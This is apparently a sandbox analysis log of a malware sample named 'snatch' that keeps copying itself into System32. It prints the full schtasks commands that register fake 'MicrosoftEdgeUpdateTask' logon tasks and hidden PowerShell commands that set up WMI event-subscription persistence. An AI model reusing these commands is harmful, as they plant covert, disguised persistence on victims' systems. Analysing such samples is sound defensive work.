- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-xjydgjh3ps /tr C:\Windows\System32\rqcprfzpj6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\rqcprfzpj6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3312

C:\Windows\System32\rqcprfzpj6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\rqcprfzpj6\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1480
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-883rgwyyfz /tr C:\Windows\System32\hinau5sxmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hinau5sxmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1772

C:\Windows\System32\hinau5sxmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hinau5sxmj\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3276
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-zd4lays6cv /tr C:\Windows\System32\hfua4nj85o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hfua4nj85o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4856

C:\Windows\System32\hfua4nj85o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hfua4nj85o\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2800
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-t17p9lhkou /tr C:\Windows\System32\p6citme2zf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2240
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\p6citme2zf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4024

C:\Windows\System32\p6citme2zf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\p6citme2zf\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-3v8eb9ybuf /tr C:\Windows\System32\32kehdux4z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\32kehdux4z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3128

C:\Windows\System32\32kehdux4z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\32kehdux4z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3364
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-0j4v22nnuk /tr C:\Windows\System32\eznr0brcr5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\eznr0brcr5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3756

C:\Windows\System32\eznr0brcr5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\eznr0brcr5\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2760
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-tfzsih7aka /tr C:\Windows\System32\mz29wx3q5z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\mz29wx3q5z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1596

C:\Windows\System32\mz29wx3q5z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\mz29wx3q5z\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-c1yrt2mo62 /tr C:\Windows\System32\1o8hq9rpkc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\1o8hq9rpkc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:736

C:\Windows\System32\1o8hq9rpkc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\1o8hq9rpkc\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-4ju26de5yb /tr C:\Windows\System32\dedo3lfyyl\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:4448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\dedo3lfyyl\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4712

C:\Windows\System32\dedo3lfyyl\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\dedo3lfyyl\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-dvo8kryz9g /tr C:\Windows\System32\ukckyjrgjd\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\ukckyjrgjd\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4952

C:\Windows\System32\ukckyjrgjd\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\ukckyjrgjd\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-d2iwzbbvcy /tr C:\Windows\System32\4fcruebsx0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  PID:556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\4fcruebsx0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1772

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv tFI64ZREAEmNvG+5vEnDeQ.0.2
1⤵
PID:2680

C:\Windows\System32\4fcruebsx0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\4fcruebsx0\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:836
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-v8wlxvjh48 /tr C:\Windows\System32\hpqoox26y2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\hpqoox26y2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4748

C:\Windows\System32\hpqoox26y2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\hpqoox26y2\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-j6vhtuk6yc /tr C:\Windows\System32\4m9my2r0j3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\4m9my2r0j3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

C:\Windows\System32\4m9my2r0j3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\4m9my2r0j3\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1592
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-326yeh2jmw /tr C:\Windows\System32\sdb2u506qs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\sdb2u506qs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2836

C:\Windows\System32\sdb2u506qs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\sdb2u506qs\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-1gm52rmet5 /tr C:\Windows\System32\smli5dreqt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\smli5dreqt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2940

C:\Windows\System32\smli5dreqt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\smli5dreqt\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5136
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-6etzxh6cnz /tr C:\Windows\System32\5shcdxw5tn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command " $f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance() $f.QueryLanguage = \"WQL\" $f.Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'\" $f.Name = \"EdgeBhoFilter\" $f.EventNamespace = \"root\cimv2\" $f.Put() | Out-Null $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance() $c.Name = \"EdgeBhoConsumer\" $c.CommandLineTemplate = \"C:\Windows\System32\5shcdxw5tn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe\" $c.Put() | Out-Null $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance() $b.Filter = $f.__PATH -replace '^.+?:' $b.Consumer = $c.__PATH -replace '^.+?:' $b.Put() | Out-Null "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5220

C:\Windows\System32\5shcdxw5tn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
C:\Windows\System32\5shcdxw5tn\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe
1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:5412
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn MicrosoftEdgeUpdateTask-gxlze98scp /tr C:\Windows\System32\toynpi2zrp\2026-08-03_61db4683746da580f865c9801d6a6227_snatch.exe /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
